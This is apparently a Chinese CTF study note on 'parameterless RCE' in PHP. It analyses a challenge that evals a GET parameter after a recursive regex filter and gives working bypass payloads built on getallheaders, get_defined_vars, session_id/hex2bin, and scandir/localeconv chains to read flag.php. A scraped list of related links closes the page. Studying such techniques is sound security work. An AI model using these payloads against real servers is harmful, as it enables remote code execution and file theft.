无参数RCE
三种绕过姿势
- gettallheaders()
- get_defined_vars()
- session_id()
题目情景
<?php
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']){
eval($_GET['exp']);
}
?>
如果';'preg_replace(...),那么就执行exp传递的命令
\
: 转义字符不多说了
[a-z,_]+
: [a-z,]匹配小写字母和下划线 +表示1到多个
(?R)?
: (?R)代表当前表达式,就是这个(/[a-z,]+((?R)?)/),所以会一直递归,?表示递归当前表达式0次或1次(若是(?R)*则表示递归当前表达式0次或多次,例如它可以匹配a(b(c()d())))
这串代码检查了我们通过GET方式传入的exp参数的值,如果传进去的值是传进去的值是字符串接一个(),那么字符串就会被替换为空。如果(递归)替换后的字符串只剩下;,那么我们传进去的 exp 就会被 eval 执行。比如我们传入一个 phpinfo();,它被替换后就只剩下;,那么根据判断条件就会执行phpinfo();。
(?R)?
能匹配的只有a(); a(b()); a(b(c()));
这种类型的。比如传入a(b(c()));
,第一次匹配后,就剩a(b());
,第二次匹配后,a();
,第三次匹配后就只剩下;
了,最后a(b(c()));
就会被eval执行。
常见绕过姿势
1、getallheaders()
getallheaders()
返回所有的HTTP头信息,但是要注意的一点是这个函数返回的是一个数组,而eval()要求的参数是一个字符串,所以这里不能直接用,这时我们就要想办法将数组转换为字符串。正好implode()
这个函数就能胜任。
implode()
能够直接将getallheaders()
返回的数组转化为字符串。
本地测试:
<?php
echo implode(getallheaders());
?>
2、get_defined_vars()
该函数的作用是获取所有的已定义变量,返回值也是数组。不过这个函数返回的是一个二维数组,所以不能与implode结合起来用。将get_defined_vars()的结果用var_dump()输出结果如下:
<?php
var_dump(get_defined_vars());
?>
![[Pasted image 20240105170623.png]]
使用current()
函数
该函数可以返回数组中的单元且初始指针指向数组的第一个单元。因为GET方式传入的参数存在该二维数组中的第一个一维数组(也就是上图array(7)中的第一个数组["_GET"]=> array(1) { ["get"]=> string(1) "a" }),所以我们可以通过这个函数将其取出来
<?php
var_dump(current(get_defined_vars()));
?>
![[Pasted image 20240105170725.png]]从图中能看出后面传入的shell=phpinfo();出现在了第一个数组的最后。
end()说简单点就是将 array 的内部指针移动到最后一个单元并返回其值。
回忆一下之前的payload:?exp=eval(implode(getallheaders()));,设想下:current()是取出二维数组中的第一个(指针指向的那个)一维数组,用end()就可以取出这个一维数组中的最后那个值,加上之前的payload你能想到什么?
新payload:
?exp=eval(end(current(get_defined_vars())));&shell=phpinfo();
用这个payload的话就可以执行shell的命令了
3、session_id()
官方说:session_id()可以用来获取/设置当前会话 ID。
那么可以用这个函数来获取cookie中的phpsessionid了,并且这个值我们是可控的。
但其有限制:
文件会话管理器仅允许会话 ID 中使用以下字符:a-z A-Z 0-9 ,(逗号)和 - (减号)
解决方法:将参数转化为16进制传进去,之后再用hex2bin()函数转换回来就可以了。
所以,payload可以为:?exp=eval(hex2bin(session_id()));
但session_id必须要开启session才可以使用,所以我们要先使用session_start。
最后,payload:
?exp=eval(hex2bin(session_id(session_start())));
说到这里,这套组合拳还差了点东西,你还没写你要执行的代码!
session_id()可以获取cookie中的phpsessionid,并且这个值我们是可控的吗?所以我们可以在http头中设置PHPSESSID为想要执行代码的16进制:hex("phpinfo();")=706870696e666f28293b
![[Pasted image 20240105171034.png]]
配合使用的函数
- getchwd() 函数返回当前工作目录。
- scandir() 函数返回指定目录中的文件和目录的数组。
- dirname() 函数返回路径中的目录部分。
- chdir() 函数改变当前的目录。
- readfile() 输出一个文件。
- current() 返回数组中的当前单元, 默认取第一个值。
- pos() current() 的别名。
- next() 函数将内部指针指向数组中的下一个元素,并输出。
- end() 将内部指针指向数组中的最后一个元素,并输出。
- array_rand() 函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。
- array_flip() array_flip() 函数用于反转/交换数组中所有的键名以及它们关联的键值。
- array_slice() 函数在数组中根据条件取出一段值,并返回。
- array_reverse() 函数返回翻转顺序的数组。
- chr() 函数从指定的 ASCII 值返回字符。
- hex2bin() — 转换十六进制字符串为二进制字符串。
- getenv() 获取一个环境变量的值(在7.1之后可以不给予参数)。
- localeconv() 函数返回一包含本地数字及货币格式信息的数组。
常用payload:
?exp=print_r(scandir(current(localeconv())));
想要浏览目录内的所有文件我们常用函数scandir()。当scandir()传入.,它就可以列出当前目录的所有文件。
但这里是无参数的RCE,我们不能写scandir(.),而localeconv()却会有一个返回值,那个返回值正好就是.
再配合current()或者pos()不就可以把.取出来传给scandir()查看所有的文件了吗?(妙啊)
flag在倒数第二个位置
array_reverse()
翻转一下数组的顺序,这时flag.php就跑到第二个位置了,然后用next()读第二个
最后payload:
?exp=show_source(next(array_reverse(scandir(current(localeconv())))));
如果flag.php的位置不特殊,可以使用array_rand()和array_flip()(array_rand()返回的是键名所以必须搭配array_flip()来交换键名、键值来获得键值,函数作用上面有写到)来随机刷新显示的内容,刷几次就出来了,所以这种情况payload:
?exp=show_source(array_rand(array_flip(scandir(current(localeconv())))));
无参数RCE的更多相关文章
- 浅谈无参数RCE
0x00 前言 这几天做了几道无参数RCE的题目,这里来总结一下,以后忘了也方便再捡起来. 首先先来解释一下什么是无参数RCE: 形式: if(';' === preg_replace('/[^\W] ...
- [GXYCTF2019]禁止套娃 1 &无参数RCE
[GXYCTF2019]禁止套娃 1 啥都没有那只能上扫描器来一探究竟了. 扫完没有啥结果,但网上找了一下说是git泄露,但是我这里显示了403. <?php include "fla ...
- [原题复现]ByteCTF 2019 –WEB- Boring-Code[无参数rce、绕过filter_var(),等]
简介 原题复现: 考察知识点:无参数命令执行.绕过filter_var(), preg_match() 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使 ...
- [原题复现]2019上海大学生WEB-Decade(无参数RCE、Fuzz)
简介 原题复现: 考察知识点:无参数命令执行.Fuzz 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 环境复现 ...
- [原题复现][CISCN 2019 初赛]WEB-Love Math(无参数RCE)[未完结]
简介 原题复现: 考察知识点:无参数命令执行 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 源码审计 代码 1 ...
- [GXYCTF2019]禁止套娃(无参RCE)
[GXYCTF2019]禁止套娃 1.扫描目录 扫描之后发现git泄漏 使用githack读取泄漏文件 <?php include "flag.php"; echo &quo ...
- bytectf2019 boring_code的知识学习&&无参数函数执行&&上海市大学生CTF_boring_code+
参赛感悟 第三次还是第二次参加这种CTF大赛了,感悟和学习也是蛮多的,越发感觉跟大佬的差距明显,但是还是要努力啊,都大三了,也希望出点成绩.比赛中一道WEB都没做出来,唯一有点思路的只有EZCMS,通 ...
- 为什么.Net要求序列化的类必须有一个无参数的构造函数
刚才用xml序列化器,序列化一个类,结果报错说序列化的类必须带有一个无参的构造函数,好奇怪啊.为什么要有这么苛刻的条件,而且xml序列化还要求序列化的成员是public. 我以前一直觉得序列化器是一个 ...
- Python: 无参数的函数装饰器
写带参数的函数装饰器最纠结的是需要包好多层,最外层是接收参数的函数,它返回一个接收函数的的函数.但这样有个问题是,最终包装出来的装饰器必须加()调用一下,即使没有参数也需要这样做,因为调用这个最外层函 ...
- float([x]): 将一个字符串或数转换为浮点数。如果无参数将返回0.0
float([x]): 将一个字符串或数转换为浮点数.如果无参数将返回0.0 >>> float(12) 12.0 >>> float(-122) -122.0 & ...
随机推荐
- 你好 Java!Solon v1.10.3 发布
相对于 Spring Boot 和 Spring Cloud 的项目: 启动快 5 - 10 倍. (更快) qps 高 2- 3 倍. (更高) 运行时内存节省 1/3 ~ 1/2. (更少) 打包 ...
- Axure 表格中根据条件设置不同的字体样式--中继器
中继器+表格,根据条件设置不同的字体样式 思路:根据情形,设置不同的颜色,因为Axure 不能直接对元件的样式进行交互设置,所以借助[动态面板]进行设置 绘制表格详见:https://www.cnbl ...
- GPT-4测评,大家先别急,图片输入还没来
昨天GPT-4朋友圈刷屏,我更新了一篇小文章,极简罗列GPT-4的一些情报: 1 ChatGPT Plus用户才可试用GPT-4 2 试用阶段每四小时最多100条信息 3 知识库还是2021年 4 上 ...
- 记录一次Java内存泄露分析过程
版权说明: 本文章版权归本人及博客园共同所有,转载请在文章前标明原文出处( https://www.cnblogs.com/mikevictor07/p/13032635.html ),以下内容为个人 ...
- Codeforces Round #529 (Div. 3) 练习赛
Examples input 6 baabbb output bab input 10 ooopppssss output oops 思路: 模拟等差数列即可 #include<bits/std ...
- 图解 Promise 实现原理(一)—— 基础实现
本文首发于 vivo互联网技术 微信公众号 链接:https://mp.weixin.qq.com/s/UNzYgpnKzmW6bAapYxnXRQ作者:孔垂亮 很多同学在学习 Promise 时,知 ...
- Hystrix 如何解决 ThreadLocal 信息丢失
本文分享 ThreadLocal 遇到 Hystrix 时上下文信息传递的方案. 一.背景 笔者在业务开发中涉及到使用 ThreadLocal 来存放上下文链路中一些关键信息,其中一些业务实现对外部接 ...
- 2023陕西省大学生信息安全竞赛web writeup
前言 早写好了,忘发了,题目质量还行,够我坐大牢 ezpop 简单的反序列化,exp如下 <?php class night { public $night; } class day { pub ...
- 广州|阿里云 Serverless 技术实战营邀你来玩!
活动简介 "Serverless 技术实战与创新沙龙 " 是一场以 Serverless 为主题的开发者活动,活动受众以关注Serverless 技术的开发者.企业决策人.云原生领 ...
- hbulider 运行微信开发者工具 Enable IDE Service (y/N) [27D[27C
问题:hbulider 运行微信开发者工具 出现如下页面,没有输入y的交互界面 解决办法:先安装微信开发者工具,然后打开微信开发者工具 再次运行: